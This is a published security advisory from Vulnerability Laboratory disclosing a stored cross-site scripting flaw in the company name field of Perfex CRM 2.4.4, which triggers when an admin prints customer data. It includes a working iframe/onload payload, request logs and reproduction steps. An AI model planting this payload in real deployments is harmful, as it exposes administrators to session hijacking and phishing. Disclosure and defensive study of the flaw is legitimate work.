Perfex CRM 2.4.4 Cross Site Scripting

`Document Title:  
===============  
Perfex v2.4.4 CRM - (Print) Persistent Web Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2231  
  
  
Release Date:  
=============  
2020-06-24  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2231  
  
  
Common Vulnerability Scoring System:  
====================================  
4.7  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Product & Service Introduction:  
===============================  
Manage Customers, Projects, and Create Invoices in the Cloud. Customer Relationship Management software that is a great fit for   
almost any small business, freelancer or many other uses. Manage and invoice projects with the powerful project management feature.   
Track expenses and time spent on tasks and bill your customers. Ability to assign multiple staff members on task and track time   
logged by assigned project member. (PHP Version: 7.3.16 & MySQL Version: 5.6.40-84.0)  
  
(Copy of the Homepage: https://www.perfexcrm.com/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a persistent xss web vulnerability in the Perfex v2.4.4 web-application.  
  
  
Affected Product(s):  
====================  
Perfex  
Product: Perfex v2.4.4 - CRM (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-06-24: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted Authentication (Guest Privileges)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Full Disclosure  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in the official Perfex v2.4.4 crm web-application.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser   
to web-application requests from the application-side.  
  
The persistent vulnerability is located in the `company` name parameter of the `./clients/client` (Customer) module.  
Remote attackers with low privileges are able to inject own malicious persistent script code as company name to compromise   
the internal print function of the backend. The attacker inject his code and in case the admin or other privileged user   
account try to export via print function the code simple executes wihtin a new tab context. The request method to inject   
is POST and the attack vector is located on the application-side.  
  
Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external   
redirects to malicious source and persistent manipulation of affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] /admin/clients/client (Customers)  
  
Vulnerable Parameter(s):  
[+] company   
  
Affected Module(s):  
[+] Export (Print)  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.  
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open the registration inject payload as company name or  
2. Use an existing account to rename  
3. In the backend admins can export and print (execution point)  
4. Wait until the function is used to compromise the session  
5. Login and successful reproduce of the vulnerability!  
  
  
PoC: Payload  
><iframe src=evil.source onload=alert(document.domain)></iframe>  
  
  
--- PoC Session Logs [POST] --- (Injection Point - Register or Add/Edit)  
https://localhost:8000/perfexcrm/admin/clients/client  
Host: localhost:8000  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 319  
Origin: https://localhost:8000  
Connection: keep-alive  
Referer: https://localhost:8000/perfexcrm/admin/clients/client  
company=><iframe src=evil.source onload=alert(document.domain)></iframe>&vat=&phonenumber=&website=&default_currency=&  
default_language=&address=test&city=&state=&zip=&country=&billing_street=&  
billing_city=&billing_state=&billing_zip=&billing_country=&shipping_street=&shipping_city=&shipping_state=&shipping_zip=&shipping_country=  
-  
POST: HTTP/2.0 302 Found  
server: nginx  
content-type: text/html; charset=utf-8  
location: https://localhost:8000/perfexcrm/admin/clients/client/13  
-   
--- PoC Session Logs [GET] --- (Execution Point - Print Customer Data via Export)  
https://localhost:8000/perfexcrm/admin/clients/evil.source  
Host: localhost:8000  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive  
-  
GET: HTTP/1.0 200 OK  
server: nginx  
content-length: 514  
vary: Accept-Encoding  
content-encoding: gzip  
  
  
Reference(s):  
https://localhost:8000/perfexcrm/  
https://localhost:8000/perfexcrm/admin/  
https://localhost:8000/perfexcrm/admin/clients/  
https://localhost:8000/perfexcrm/admin/clients/client/  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab   
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits   
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do   
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.   
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com  
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com  
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other   
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or   
edit our material contact (admin@ or research@) to get a ask permission.  
  
Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
`